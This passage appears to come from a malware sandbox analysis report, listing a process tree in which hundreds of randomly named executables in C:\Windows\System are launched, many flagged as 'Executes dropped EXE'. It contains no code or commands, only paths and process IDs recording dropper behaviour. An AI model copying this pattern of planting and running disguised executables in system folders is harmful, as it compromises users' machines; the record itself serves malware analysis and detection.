  C:\Windows\System\lSbCPrX.exe
  2⤵
  - Executes dropped EXE
  PID:2164
- C:\Windows\System\wppgZMC.exe
  C:\Windows\System\wppgZMC.exe
  2⤵
  - Executes dropped EXE
  PID:2996
- C:\Windows\System\iGtqlhB.exe
  C:\Windows\System\iGtqlhB.exe
  2⤵
  - Executes dropped EXE
  PID:1780
- C:\Windows\System\QhGKzBj.exe
  C:\Windows\System\QhGKzBj.exe
  2⤵
  - Executes dropped EXE
  PID:2980
- C:\Windows\System\AqpohYN.exe
  C:\Windows\System\AqpohYN.exe
  2⤵
  - Executes dropped EXE
  PID:1952
- C:\Windows\System\pHFzZdK.exe
  C:\Windows\System\pHFzZdK.exe
  2⤵
  - Executes dropped EXE
  PID:2448
- C:\Windows\System\zFGSSBh.exe
  C:\Windows\System\zFGSSBh.exe
  2⤵
  - Executes dropped EXE
  PID:1532
- C:\Windows\System\cNrfcpv.exe
  C:\Windows\System\cNrfcpv.exe
  2⤵
  - Executes dropped EXE
  PID:1968
- C:\Windows\System\RwEIYaY.exe
  C:\Windows\System\RwEIYaY.exe
  2⤵
  - Executes dropped EXE
  PID:1264
- C:\Windows\System\KqITpOC.exe
  C:\Windows\System\KqITpOC.exe
  2⤵
  - Executes dropped EXE
  PID:344
- C:\Windows\System\WDnpTmN.exe
  C:\Windows\System\WDnpTmN.exe
  2⤵
  - Executes dropped EXE
  PID:1608
- C:\Windows\System\YSMxFWo.exe
  C:\Windows\System\YSMxFWo.exe
  2⤵
  - Executes dropped EXE
  PID:932
- C:\Windows\System\ERMqBGh.exe
  C:\Windows\System\ERMqBGh.exe
  2⤵
  - Executes dropped EXE
  PID:1988
- C:\Windows\System\NezHlxh.exe
  C:\Windows\System\NezHlxh.exe
  2⤵
  - Executes dropped EXE
  PID:840
- C:\Windows\System\kUVSpRc.exe
  C:\Windows\System\kUVSpRc.exe
  2⤵
  - Executes dropped EXE
  PID:568
- C:\Windows\System\dyAtfRP.exe
  C:\Windows\System\dyAtfRP.exe
  2⤵
  - Executes dropped EXE
  PID:376
- C:\Windows\System\woZXdgf.exe
  C:\Windows\System\woZXdgf.exe
  2⤵
  - Executes dropped EXE
  PID:1704
- C:\Windows\System\NdurQnZ.exe
  C:\Windows\System\NdurQnZ.exe
  2⤵
  - Executes dropped EXE
  PID:1796
- C:\Windows\System\Xvemldw.exe
  C:\Windows\System\Xvemldw.exe
  2⤵
  - Executes dropped EXE
  PID:784
- C:\Windows\System\IGFlmKg.exe
  C:\Windows\System\IGFlmKg.exe
  2⤵
  - Executes dropped EXE
  PID:1324
- C:\Windows\System\bULGVGR.exe
  C:\Windows\System\bULGVGR.exe
  2⤵
  - Executes dropped EXE
  PID:892
- C:\Windows\System\BULmnYy.exe
  C:\Windows\System\BULmnYy.exe
  2⤵
  - Executes dropped EXE
  PID:2400
- C:\Windows\System\zGAgibl.exe
  C:\Windows\System\zGAgibl.exe
  2⤵
  - Executes dropped EXE
  PID:1588
- C:\Windows\System\bQPrWNK.exe
  C:\Windows\System\bQPrWNK.exe
  2⤵
  - Executes dropped EXE
  PID:2968
- C:\Windows\System\mIxjlqv.exe
  C:\Windows\System\mIxjlqv.exe
  2⤵
  - Executes dropped EXE
  PID:1592
- C:\Windows\System\OvpGQOV.exe
  C:\Windows\System\OvpGQOV.exe
  2⤵
  - Executes dropped EXE
  PID:2868
- C:\Windows\System\jTkUuMo.exe
  C:\Windows\System\jTkUuMo.exe
  2⤵
  - Executes dropped EXE
  PID:2240
- C:\Windows\System\uzvUKjd.exe
  C:\Windows\System\uzvUKjd.exe
  2⤵
  - Executes dropped EXE
  PID:2716
- C:\Windows\System\xzISlBU.exe
  C:\Windows\System\xzISlBU.exe
  2⤵
  - Executes dropped EXE
  PID:2608
- C:\Windows\System\MstPvYe.exe
  C:\Windows\System\MstPvYe.exe
  2⤵
  - Executes dropped EXE
  PID:1012
- C:\Windows\System\pHNcSDV.exe
  C:\Windows\System\pHNcSDV.exe
  2⤵
  - Executes dropped EXE
  PID:2276
- C:\Windows\System\GEbeGKi.exe
  C:\Windows\System\GEbeGKi.exe
  2⤵
  - Executes dropped EXE
  PID:772
- C:\Windows\System\GtxRHvC.exe
  C:\Windows\System\GtxRHvC.exe
  2⤵
  - Executes dropped EXE
  PID:572
- C:\Windows\System\MJFOvgB.exe
  C:\Windows\System\MJFOvgB.exe
  2⤵
  - Executes dropped EXE
  PID:2264
- C:\Windows\System\uVgHDha.exe
  C:\Windows\System\uVgHDha.exe
  2⤵
  - Executes dropped EXE
  PID:2208
- C:\Windows\System\ilwYKww.exe
  C:\Windows\System\ilwYKww.exe
  2⤵
  - Executes dropped EXE
  PID:1744
- C:\Windows\System\GQBETGt.exe
  C:\Windows\System\GQBETGt.exe
  2⤵
  - Executes dropped EXE
  PID:2908
- C:\Windows\System\fjugnHy.exe
  C:\Windows\System\fjugnHy.exe
  2⤵
  - Executes dropped EXE
  PID:2600
- C:\Windows\System\BZwchAJ.exe
  C:\Windows\System\BZwchAJ.exe
  2⤵
  - Executes dropped EXE
  PID:2856
- C:\Windows\System\nIshyVs.exe
  C:\Windows\System\nIshyVs.exe
  2⤵
  PID:276
- C:\Windows\System\IDNhStM.exe
  C:\Windows\System\IDNhStM.exe
  2⤵
  PID:1836
- C:\Windows\System\QKzouIA.exe
  C:\Windows\System\QKzouIA.exe
  2⤵
  PID:1772
- C:\Windows\System\HEsOYyX.exe
  C:\Windows\System\HEsOYyX.exe
  2⤵
  PID:1844
- C:\Windows\System\stKhqTC.exe
  C:\Windows\System\stKhqTC.exe
  2⤵
  PID:2200
- C:\Windows\System\yMQUlvc.exe
  C:\Windows\System\yMQUlvc.exe
  2⤵
  PID:1032
- C:\Windows\System\JcqSHeW.exe
  C:\Windows\System\JcqSHeW.exe
  2⤵
  PID:2084
- C:\Windows\System\lJBQbza.exe
  C:\Windows\System\lJBQbza.exe
  2⤵
  PID:2380
- C:\Windows\System\UBCiqfV.exe
  C:\Windows\System\UBCiqfV.exe
  2⤵
  PID:948
- C:\Windows\System\KiuSVGB.exe
  C:\Windows\System\KiuSVGB.exe
  2⤵
  PID:448
- C:\Windows\System\ShNqlOI.exe
  C:\Windows\System\ShNqlOI.exe
  2⤵
  PID:2088
- C:\Windows\System\RYdkQhj.exe
  C:\Windows\System\RYdkQhj.exe
  2⤵
  PID:2396
- C:\Windows\System\zWSYeAO.exe
  C:\Windows\System\zWSYeAO.exe
  2⤵
  PID:2584
- C:\Windows\System\iUnqJhS.exe
  C:\Windows\System\iUnqJhS.exe
  2⤵
  PID:556
- C:\Windows\System\Bbrpjwo.exe
  C:\Windows\System\Bbrpjwo.exe
  2⤵
  PID:2352
- C:\Windows\System\hMSNAmy.exe
  C:\Windows\System\hMSNAmy.exe
  2⤵
  PID:1368
- C:\Windows\System\DQdZJpc.exe
  C:\Windows\System\DQdZJpc.exe
  2⤵
  PID:2708
- C:\Windows\System\isafAvV.exe
  C:\Windows\System\isafAvV.exe
  2⤵
  PID:2064
- C:\Windows\System\mpeinaH.exe
  C:\Windows\System\mpeinaH.exe
  2⤵
  PID:2192
- C:\Windows\System\qzJLYxs.exe
  C:\Windows\System\qzJLYxs.exe
  2⤵
  PID:2660
- C:\Windows\System\UjjpunU.exe
  C:\Windows\System\UjjpunU.exe
  2⤵
  PID:2000
- C:\Windows\System\UgzhqDo.exe
  C:\Windows\System\UgzhqDo.exe
  2⤵
  PID:2444
- C:\Windows\System\zAYYofi.exe
  C:\Windows\System\zAYYofi.exe
  2⤵
  PID:1792
- C:\Windows\System\XcVkFdL.exe
  C:\Windows\System\XcVkFdL.exe
  2⤵
  PID:3004
- C:\Windows\System\unsmzsF.exe
  C:\Windows\System\unsmzsF.exe
  2⤵
  PID:2692
- C:\Windows\System\Nevtgzq.exe
  C:\Windows\System\Nevtgzq.exe
  2⤵
  PID:2688
- C:\Windows\System\HxFamyT.exe
  C:\Windows\System\HxFamyT.exe
  2⤵
  PID:2920
- C:\Windows\System\eOOIcVh.exe
  C:\Windows\System\eOOIcVh.exe
  2⤵
  PID:2428
- C:\Windows\System\CvdyPyN.exe
  C:\Windows\System\CvdyPyN.exe
  2⤵
  PID:2664
- C:\Windows\System\AqaiCXh.exe
  C:\Windows\System\AqaiCXh.exe
  2⤵
  PID:2700
- C:\Windows\System\jHZXvcM.exe
  C:\Windows\System\jHZXvcM.exe
  2⤵
  PID:2216
- C:\Windows\System\ZIEUDEz.exe
  C:\Windows\System\ZIEUDEz.exe
  2⤵
  PID:1712
- C:\Windows\System\ZjiliHn.exe
  C:\Windows\System\ZjiliHn.exe
  2⤵
  PID:2892
- C:\Windows\System\HmMcrPC.exe
  C:\Windows\System\HmMcrPC.exe
  2⤵
  PID:2744
- C:\Windows\System\dhnKTNo.exe
  C:\Windows\System\dhnKTNo.exe
  2⤵
  PID:2932
- C:\Windows\System\KeEGzpE.exe
  C:\Windows\System\KeEGzpE.exe
  2⤵
  PID:1860
- C:\Windows\System\rvptice.exe
  C:\Windows\System\rvptice.exe
  2⤵
  PID:1984
- C:\Windows\System\DoDUEzi.exe
  C:\Windows\System\DoDUEzi.exe
  2⤵
  PID:1640
- C:\Windows\System\eqiXuOo.exe
  C:\Windows\System\eqiXuOo.exe
  2⤵
  PID:2888
- C:\Windows\System\jKhNvIR.exe
  C:\Windows\System\jKhNvIR.exe
  2⤵
  PID:2520
- C:\Windows\System\OiSTeNO.exe
  C:\Windows\System\OiSTeNO.exe
  2⤵
  PID:2348
- C:\Windows\System\XUrslbq.exe
  C:\Windows\System\XUrslbq.exe
  2⤵
  PID:680
- C:\Windows\System\GMpGMvE.exe
  C:\Windows\System\GMpGMvE.exe
  2⤵
  PID:2436
- C:\Windows\System\ZkMXSNH.exe
  C:\Windows\System\ZkMXSNH.exe
  2⤵
  PID:1036
- C:\Windows\System\sOaxlwf.exe
  C:\Windows\System\sOaxlwf.exe
  2⤵
  PID:2460
- C:\Windows\System\ZFKbJJj.exe
  C:\Windows\System\ZFKbJJj.exe
  2⤵
  PID:236
- C:\Windows\System\JJnsndt.exe
  C:\Windows\System\JJnsndt.exe
  2⤵
  PID:1240
- C:\Windows\System\WzeNzpv.exe
  C:\Windows\System\WzeNzpv.exe
  2⤵
  PID:2052
- C:\Windows\System\grcMkXq.exe
  C:\Windows\System\grcMkXq.exe
  2⤵
  PID:2180
- C:\Windows\System\syQhdyQ.exe
  C:\Windows\System\syQhdyQ.exe
  2⤵
  PID:108
- C:\Windows\System\PoqNsJI.exe
  C:\Windows\System\PoqNsJI.exe
  2⤵
  PID:2680
- C:\Windows\System\VGSrDYo.exe
  C:\Windows\System\VGSrDYo.exe
  2⤵
  PID:1616
- C:\Windows\System\XraummO.exe
  C:\Windows\System\XraummO.exe
  2⤵
  PID:2224
- C:\Windows\System\nghRQXM.exe
  C:\Windows\System\nghRQXM.exe
  2⤵
  PID:2956
- C:\Windows\System\ymjJNvG.exe
  C:\Windows\System\ymjJNvG.exe
  2⤵
  PID:1904
- C:\Windows\System\IpIFvuL.exe
  C:\Windows\System\IpIFvuL.exe
  2⤵
  PID:560
- C:\Windows\System\caFIeDN.exe
  C:\Windows\System\caFIeDN.exe
  2⤵
  PID:1708
- C:\Windows\System\meXtltJ.exe
  C:\Windows\System\meXtltJ.exe
  2⤵
  PID:1448
- C:\Windows\System\GGlBFDB.exe
  C:\Windows\System\GGlBFDB.exe
  2⤵
  PID:2648
- C:\Windows\System\ptuktes.exe
  C:\Windows\System\ptuktes.exe
  2⤵
  PID:2548
- C:\Windows\System\CSnXZwu.exe
  C:\Windows\System\CSnXZwu.exe
  2⤵
  PID:320
- C:\Windows\System\gYPmqSP.exe
  C:\Windows\System\gYPmqSP.exe
  2⤵
  PID:2076
- C:\Windows\System\GxuWuco.exe
  C:\Windows\System\GxuWuco.exe
  2⤵
  PID:1604
- C:\Windows\System\IudLqcK.exe
  C:\Windows\System\IudLqcK.exe
  2⤵
  PID:1736
- C:\Windows\System\xuqwaxt.exe
  C:\Windows\System\xuqwaxt.exe
  2⤵
  PID:2152
- C:\Windows\System\ggZkcmz.exe
  C:\Windows\System\ggZkcmz.exe
  2⤵
  PID:1132
- C:\Windows\System\ZnyqrvO.exe
  C:\Windows\System\ZnyqrvO.exe
  2⤵
  PID:2988
- C:\Windows\System\cVkVEvy.exe
  C:\Windows\System\cVkVEvy.exe
  2⤵
  PID:2528
- C:\Windows\System\HyemQyv.exe
  C:\Windows\System\HyemQyv.exe
  2⤵
  PID:2572
- C:\Windows\System\adPoaXK.exe
  C:\Windows\System\adPoaXK.exe
  2⤵
  PID:2252
- C:\Windows\System\VriugUT.exe
  C:\Windows\System\VriugUT.exe
  2⤵
  PID:1516
- C:\Windows\System\ydWevmh.exe
  C:\Windows\System\ydWevmh.exe
  2⤵
  PID:2232
- C:\Windows\System\EpaLNrX.exe
  C:\Windows\System\EpaLNrX.exe
  2⤵
  PID:1960
- C:\Windows\System\kqDUqaO.exe
  C:\Windows\System\kqDUqaO.exe
  2⤵
  PID:1620
- C:\Windows\System\wyySSsP.exe
  C:\Windows\System\wyySSsP.exe
  2⤵
  PID:596
- C:\Windows\System\CpoUlms.exe
  C:\Windows\System\CpoUlms.exe
  2⤵
  PID:2836
- C:\Windows\System\IqHbHJz.exe
  C:\Windows\System\IqHbHJz.exe
  2⤵
  PID:3060
- C:\Windows\System\bsDPgIf.exe
  C:\Windows\System\bsDPgIf.exe
  2⤵
  PID:2792
- C:\Windows\System\mJntYLn.exe
  C:\Windows\System\mJntYLn.exe
  2⤵
  PID:2060
- C:\Windows\System\QuyEnrL.exe
  C:\Windows\System\QuyEnrL.exe
  2⤵
  PID:2620
- C:\Windows\System\UBiJleg.exe
  C:\Windows\System\UBiJleg.exe
  2⤵
  PID:2924
- C:\Windows\System\ilaALCQ.exe
  C:\Windows\System\ilaALCQ.exe
  2⤵
  PID:756
- C:\Windows\System\ZwmcOxL.exe
  C:\Windows\System\ZwmcOxL.exe
  2⤵
  PID:1992
- C:\Windows\System\gzeEDUc.exe
  C:\Windows\System\gzeEDUc.exe
  2⤵
  PID:1748
- C:\Windows\System\eDVZbQH.exe
  C:\Windows\System\eDVZbQH.exe
  2⤵
  PID:2556
- C:\Windows\System\TjIVXnc.exe
  C:\Windows\System\TjIVXnc.exe
  2⤵
  PID:1576
- C:\Windows\System\Mucdmyw.exe
  C:\Windows\System\Mucdmyw.exe
  2⤵
  PID:1632
- C:\Windows\System\AoBUNYh.exe
  C:\Windows\System\AoBUNYh.exe
  2⤵
  PID:1700
- C:\Windows\System\bdLcWhS.exe
  C:\Windows\System\bdLcWhS.exe
  2⤵
  PID:1696
- C:\Windows\System\AMkKnfl.exe
  C:\Windows\System\AMkKnfl.exe
  2⤵
  PID:2480
- C:\Windows\System\pvvGkbD.exe
  C:\Windows\System\pvvGkbD.exe
  2⤵
  PID:2848
- C:\Windows\System\XSFRKry.exe
  C:\Windows\System\XSFRKry.exe
  2⤵
  PID:3088
- C:\Windows\System\rzpQENF.exe
  C:\Windows\System\rzpQENF.exe
  2⤵
  PID:3104
- C:\Windows\System\KRFIdfe.exe
  C:\Windows\System\KRFIdfe.exe
  2⤵
  PID:3120
- C:\Windows\System\EnYQhof.exe
  C:\Windows\System\EnYQhof.exe
  2⤵
  PID:3136
- C:\Windows\System\ElWbQyP.exe
  C:\Windows\System\ElWbQyP.exe
  2⤵
  PID:3152
- C:\Windows\System\MjHuUqd.exe
  C:\Windows\System\MjHuUqd.exe
  2⤵
  PID:3168
- C:\Windows\System\UVgFEvG.exe
  C:\Windows\System\UVgFEvG.exe
  2⤵
  PID:3184
- C:\Windows\System\kEXHSnY.exe
  C:\Windows\System\kEXHSnY.exe
  2⤵
  PID:3200
- C:\Windows\System\AsPbdwL.exe
  C:\Windows\System\AsPbdwL.exe
  2⤵
  PID:3216
- C:\Windows\System\hoToEQq.exe
  C:\Windows\System\hoToEQq.exe
  2⤵
  PID:3232
- C:\Windows\System\zXhfXyo.exe
  C:\Windows\System\zXhfXyo.exe
  2⤵
  PID:3248
- C:\Windows\System\pxbAbAY.exe
  C:\Windows\System\pxbAbAY.exe
  2⤵
  PID:3264
- C:\Windows\System\ydaCJHq.exe
  C:\Windows\System\ydaCJHq.exe
  2⤵
  PID:3280
- C:\Windows\System\hdvwIay.exe
  C:\Windows\System\hdvwIay.exe
  2⤵
  PID:3296
- C:\Windows\System\dpyejUS.exe
  C:\Windows\System\dpyejUS.exe
  2⤵
  PID:3312
- C:\Windows\System\LlJzKhL.exe
  C:\Windows\System\LlJzKhL.exe
  2⤵
  PID:3328
- C:\Windows\System\NNpzHFu.exe
  C:\Windows\System\NNpzHFu.exe
  2⤵
  PID:3344
- C:\Windows\System\DQijJIN.exe
  C:\Windows\System\DQijJIN.exe
  2⤵
  PID:3360
- C:\Windows\System\ERTgDoS.exe
  C:\Windows\System\ERTgDoS.exe
  2⤵
  PID:3376
- C:\Windows\System\LIHHjje.exe
  C:\Windows\System\LIHHjje.exe
  2⤵
  PID:3392
- C:\Windows\System\uNRhnzv.exe
  C:\Windows\System\uNRhnzv.exe
  2⤵
  PID:3408
- C:\Windows\System\qVnaqKm.exe
  C:\Windows\System\qVnaqKm.exe
  2⤵
  PID:3424
- C:\Windows\System\RVIZemE.exe
  C:\Windows\System\RVIZemE.exe
  2⤵
  PID:3440
- C:\Windows\System\QCTzewm.exe
  C:\Windows\System\QCTzewm.exe
  2⤵
  PID:3456
- C:\Windows\System\gDiyQKM.exe
  C:\Windows\System\gDiyQKM.exe
  2⤵
  PID:3472
- C:\Windows\System\wcqOEZN.exe
  C:\Windows\System\wcqOEZN.exe
  2⤵
  PID:3488
- C:\Windows\System\TEmfbVt.exe
  C:\Windows\System\TEmfbVt.exe
  2⤵
  PID:3504
- C:\Windows\System\NYUOLeW.exe
  C:\Windows\System\NYUOLeW.exe
  2⤵
  PID:3520
- C:\Windows\System\zsAwfzP.exe
  C:\Windows\System\zsAwfzP.exe
  2⤵
  PID:3536
- C:\Windows\System\DIWfFVx.exe
  C:\Windows\System\DIWfFVx.exe
  2⤵
  PID:3552
- C:\Windows\System\pYGPIqe.exe
  C:\Windows\System\pYGPIqe.exe
  2⤵
  PID:3568
- C:\Windows\System\UsAeoaI.exe
  C:\Windows\System\UsAeoaI.exe
  2⤵
  PID:3584
- C:\Windows\System\tQPJWsP.exe
  C:\Windows\System\tQPJWsP.exe
  2⤵
  PID:3600
- C:\Windows\System\tZvYlfo.exe
  C:\Windows\System\tZvYlfo.exe
  2⤵
  PID:3616
- C:\Windows\System\IrUImKS.exe
  C:\Windows\System\IrUImKS.exe
  2⤵
  PID:3632
- C:\Windows\System\LiIAWTj.exe
  C:\Windows\System\LiIAWTj.exe
  2⤵
  PID:3648
- C:\Windows\System\CrJkVgB.exe
  C:\Windows\System\CrJkVgB.exe
  2⤵
  PID:3664
- C:\Windows\System\tdmIJDX.exe
  C:\Windows\System\tdmIJDX.exe
  2⤵
  PID:3680
- C:\Windows\System\DJmcUup.exe
  C:\Windows\System\DJmcUup.exe
  2⤵
  PID:3696
- C:\Windows\System\SdKuZZc.exe
  C:\Windows\System\SdKuZZc.exe
  2⤵
  PID:3712
- C:\Windows\System\uoLUZBd.exe
  C:\Windows\System\uoLUZBd.exe
  2⤵
  PID:3728
- C:\Windows\System\pQuyXcT.exe
  C:\Windows\System\pQuyXcT.exe
  2⤵
  PID:3744
- C:\Windows\System\DhgsfoM.exe
  C:\Windows\System\DhgsfoM.exe
  2⤵
  PID:3760
- C:\Windows\System\PKBHYyR.exe
  C:\Windows\System\PKBHYyR.exe
  2⤵
  PID:3776
- C:\Windows\System\HerxRRD.exe
  C:\Windows\System\HerxRRD.exe
  2⤵
  PID:3792
- C:\Windows\System\qfsNzxN.exe
  C:\Windows\System\qfsNzxN.exe
  2⤵
  PID:3808
- C:\Windows\System\mfEndJm.exe
  C:\Windows\System\mfEndJm.exe
  2⤵
  PID:3824
- C:\Windows\System\VTwNQII.exe
  C:\Windows\System\VTwNQII.exe
  2⤵
  PID:3840
- C:\Windows\System\FgjkmPN.exe
  C:\Windows\System\FgjkmPN.exe
  2⤵
  PID:3856
- C:\Windows\System\CuMQWpa.exe
  C:\Windows\System\CuMQWpa.exe
  2⤵
  PID:3872
- C:\Windows\System\tsBsqQk.exe
  C:\Windows\System\tsBsqQk.exe
  2⤵
  PID:3888
- C:\Windows\System\sDiNKAc.exe
  C:\Windows\System\sDiNKAc.exe
  2⤵
  PID:3904
- C:\Windows\System\jBrsven.exe
  C:\Windows\System\jBrsven.exe
  2⤵
  PID:3920
- C:\Windows\System\DRdgwYB.exe
  C:\Windows\System\DRdgwYB.exe
  2⤵
  PID:3936
- C:\Windows\System\dqaDHNZ.exe
  C:\Windows\System\dqaDHNZ.exe
  2⤵
  PID:3952
- C:\Windows\System\glANLPO.exe
  C:\Windows\System\glANLPO.exe
  2⤵
  PID:3968
- C:\Windows\System\kmJRmVw.exe
  C:\Windows\System\kmJRmVw.exe
  2⤵
  PID:3984
- C:\Windows\System\bcPeqMO.exe
  C:\Windows\System\bcPeqMO.exe
  2⤵
  PID:4000
- C:\Windows\System\DFbtIdl.exe
  C:\Windows\System\DFbtIdl.exe
  2⤵
  PID:4016
- C:\Windows\System\GQiLPCa.exe
  C:\Windows\System\GQiLPCa.exe
  2⤵
  PID:4032
- C:\Windows\System\cSJuzZv.exe
  C:\Windows\System\cSJuzZv.exe
  2⤵
  PID:4048
- C:\Windows\System\ZnVDSUl.exe
  C:\Windows\System\ZnVDSUl.exe
  2⤵
  PID:4064
- C:\Windows\System\PfqJTCe.exe
  C:\Windows\System\PfqJTCe.exe
  2⤵
  PID:4080
- C:\Windows\System\bSxcEXp.exe
  C:\Windows\System\bSxcEXp.exe
  2⤵
  PID:2876
- C:\Windows\System\GYvafqX.exe
  C:\Windows\System\GYvafqX.exe
  2⤵
  PID:2828
- C:\Windows\System\ZEZbkQv.exe
  C:\Windows\System\ZEZbkQv.exe
  2⤵
  PID:2144
- C:\Windows\System\MQziFcQ.exe
  C:\Windows\System\MQziFcQ.exe
  2⤵
  PID:2736
- C:\Windows\System\Vytcidi.exe
  C:\Windows\System\Vytcidi.exe
  2⤵
  PID:3084
- C:\Windows\System\RIeFEjN.exe
  C:\Windows\System\RIeFEjN.exe
  2⤵
  PID:3116
- C:\Windows\System\YDakRXj.exe
  C:\Windows\System\YDakRXj.exe
  2⤵
  PID:3132
- C:\Windows\System\ZhyVfTt.exe
  C:\Windows\System\ZhyVfTt.exe
  2⤵
  PID:3164
- C:\Windows\System\fRMCogj.exe
  C:\Windows\System\fRMCogj.exe
  2⤵
  PID:3212
- C:\Windows\System\jhdIohq.exe
  C:\Windows\System\jhdIohq.exe
  2⤵
  PID:3244
- C:\Windows\System\XnWkBIa.exe
  C:\Windows\System\XnWkBIa.exe
  2⤵
  PID:3260
- C:\Windows\System\ZtRxiOG.exe
  C:\Windows\System\ZtRxiOG.exe
  2⤵
  PID:3308
- C:\Windows\System\eXnoPfc.exe
  C:\Windows\System\eXnoPfc.exe
  2⤵
  PID:3324
- C:\Windows\System\EZUNCmh.exe
  C:\Windows\System\EZUNCmh.exe
  2⤵
  PID:3356
- C:\Windows\System\STTZyUL.exe
  C:\Windows\System\STTZyUL.exe
  2⤵
  PID:3388
- C:\Windows\System\niazrNy.exe
  C:\Windows\System\niazrNy.exe
  2⤵
  PID:3436
- C:\Windows\System\QTFjJPL.exe
  C:\Windows\System\QTFjJPL.exe
  2⤵
  PID:3468
- C:\Windows\System\mQBzLDJ.exe
  C:\Windows\System\mQBzLDJ.exe
  2⤵
  PID:3484
- C:\Windows\System\bjMbLvV.exe
  C:\Windows\System\bjMbLvV.exe
  2⤵
  PID:3516
- C:\Windows\System\qRyJxtd.exe
  C:\Windows\System\qRyJxtd.exe
  2⤵
  PID:3564
- C:\Windows\System\eLtRCii.exe
  C:\Windows\System\eLtRCii.exe
  2⤵
  PID:3580
- C:\Windows\System\YdEuUzv.exe
  C:\Windows\System\YdEuUzv.exe
  2⤵
  PID:3628
- C:\Windows\System\RjKAfjE.exe
  C:\Windows\System\RjKAfjE.exe
  2⤵
  PID:3660
- C:\Windows\System\StgTRIb.exe
  C:\Windows\System\StgTRIb.exe
  2⤵
  PID:3692
- C:\Windows\System\QZIqlan.exe
  C:\Windows\System\QZIqlan.exe
  2⤵
  PID:3724
- C:\Windows\System\pMdNwhR.exe
  C:\Windows\System\pMdNwhR.exe
  2⤵
  PID:3756
- C:\Windows\System\RSzwwOX.exe
  C:\Windows\System\RSzwwOX.exe
  2⤵
  PID:3788
- C:\Windows\System\IAllhOW.exe
  C:\Windows\System\IAllhOW.exe
  2⤵
  PID:3804
- C:\Windows\System\SRvEkve.exe
  C:\Windows\System\SRvEkve.exe
  2⤵
  PID:3836
- C:\Windows\System\VgtOoMW.exe
  C:\Windows\System\VgtOoMW.exe
  2⤵
  PID:3868
- C:\Windows\System\QNdRgRK.exe
  C:\Windows\System\QNdRgRK.exe
  2⤵
  PID:3900
- C:\Windows\System\QbazZnv.exe
  C:\Windows\System\QbazZnv.exe
  2⤵
  PID:3932
- C:\Windows\System\SgtVdvp.exe
  C:\Windows\System\SgtVdvp.exe
  2⤵
  PID:3980
- C:\Windows\System\vmqncgv.exe
  C:\Windows\System\vmqncgv.exe
  2⤵
  PID:4012
- C:\Windows\System\YswWHhI.exe
  C:\Windows\System\YswWHhI.exe
  2⤵
  PID:4044
- C:\Windows\System\WBDeVse.exe
  C:\Windows\System\WBDeVse.exe
  2⤵
  PID:4076
- C:\Windows\System\WvIHBuf.exe
  C:\Windows\System\WvIHBuf.exe
  2⤵
  PID:4092
- C:\Windows\System\LmbHJeD.exe
  C:\Windows\System\LmbHJeD.exe
  2⤵
  PID:956
- C:\Windows\System\miVHtaV.exe
  C:\Windows\System\miVHtaV.exe
  2⤵
  PID:3080
- C:\Windows\System\iEkDxJV.exe
  C:\Windows\System\iEkDxJV.exe
  2⤵
  PID:3176
- C:\Windows\System\awTAFVM.exe
  C:\Windows\System\awTAFVM.exe
  2⤵
  PID:3208
- C:\Windows\System\nXZrlMl.exe
  C:\Windows\System\nXZrlMl.exe
  2⤵
  PID:3292
- C:\Windows\System\PjTEQtq.exe
  C:\Windows\System\PjTEQtq.exe
  2⤵
  PID:3372
- C:\Windows\System\ZFIFLHC.exe
  C:\Windows\System\ZFIFLHC.exe
  2⤵
  PID:3404
- C:\Windows\System\icGEpKo.exe
  C:\Windows\System\icGEpKo.exe
  2⤵
  PID:3500
- C:\Windows\System\npJoMKU.exe
  C:\Windows\System\npJoMKU.exe
  2⤵
  PID:3532
- C:\Windows\System\etxiRrY.exe
  C:\Windows\System\etxiRrY.exe
  2⤵
  PID:3596
- C:\Windows\System\QmilRgN.exe
  C:\Windows\System\QmilRgN.exe
  2⤵
  PID:3656
- C:\Windows\System\xaHGFrc.exe
  C:\Windows\System\xaHGFrc.exe
  2⤵
  PID:3720
- C:\Windows\System\NfAwmSO.exe
  C:\Windows\System\NfAwmSO.exe
  2⤵
  PID:3816
- C:\Windows\System\vkaUuQH.exe
  C:\Windows\System\vkaUuQH.exe
  2⤵
  PID:3880
- C:\Windows\System\eDWFMeK.exe
  C:\Windows\System\eDWFMeK.exe
  2⤵
  PID:3944
- C:\Windows\System\wjjabyN.exe
  C:\Windows\System\wjjabyN.exe
  2⤵
  PID:4008
- C:\Windows\System\dttPNQe.exe
  C:\Windows\System\dttPNQe.exe
  2⤵
  PID:4040
- C:\Windows\System\cMusPvy.exe
  C:\Windows\System\cMusPvy.exe
  2⤵
  PID:2536
- C:\Windows\System\sRjotnt.exe
  C:\Windows\System\sRjotnt.exe
  2⤵
  PID:3096
- C:\Windows\System\OiVYRFk.exe
  C:\Windows\System\OiVYRFk.exe
  2⤵
  PID:3240
- C:\Windows\System\uVXucKF.exe
  C:\Windows\System\uVXucKF.exe
  2⤵
  PID:3432
- C:\Windows\System\QPypWvb.exe
  C:\Windows\System\QPypWvb.exe
  2⤵
  PID:3496
- C:\Windows\System\FWmaEXH.exe
  C:\Windows\System\FWmaEXH.exe
  2⤵
  PID:1740
- C:\Windows\System\CUXVZYZ.exe
  C:\Windows\System\CUXVZYZ.exe
  2⤵
  PID:3736
- C:\Windows\System\FFSTvhb.exe
  C:\Windows\System\FFSTvhb.exe
  2⤵
  PID:3864
- C:\Windows\System\lEqFgEA.exe
  C:\Windows\System\lEqFgEA.exe
  2⤵
  PID:4024
- C:\Windows\System\aikehwB.exe
  C:\Windows\System\aikehwB.exe
  2⤵
  PID:3052
- C:\Windows\System\BaQQWaq.exe
  C:\Windows\System\BaQQWaq.exe
  2⤵
  PID:3192
- C:\Windows\System\HSITEeF.exe
  C:\Windows\System\HSITEeF.exe
  2⤵
  PID:3832
- C:\Windows\System\FRSJkmF.exe
  C:\Windows\System\FRSJkmF.exe
  2⤵
  PID:536
- C:\Windows\System\tqnwAry.exe
  C:\Windows\System\tqnwAry.exe
  2⤵
  PID:4112
- C:\Windows\System\ZMhlbTm.exe
  C:\Windows\System\ZMhlbTm.exe
  2⤵
  PID:4128
- C:\Windows\System\vrpWFPy.exe
  C:\Windows\System\vrpWFPy.exe
  2⤵
  PID:4212
- C:\Windows\System\GepuPgO.exe
  C:\Windows\System\GepuPgO.exe
  2⤵
  PID:4228
- C:\Windows\System\uKYXjBP.exe
  C:\Windows\System\uKYXjBP.exe
  2⤵
  PID:4244
- C:\Windows\System\RnxMihg.exe
  C:\Windows\System\RnxMihg.exe
  2⤵
  PID:4260
- C:\Windows\System\IeCRNbv.exe
  C:\Windows\System\IeCRNbv.exe
  2⤵
  PID:4276
- C:\Windows\System\gKpfyLj.exe
  C:\Windows\System\gKpfyLj.exe
  2⤵
  PID:4292
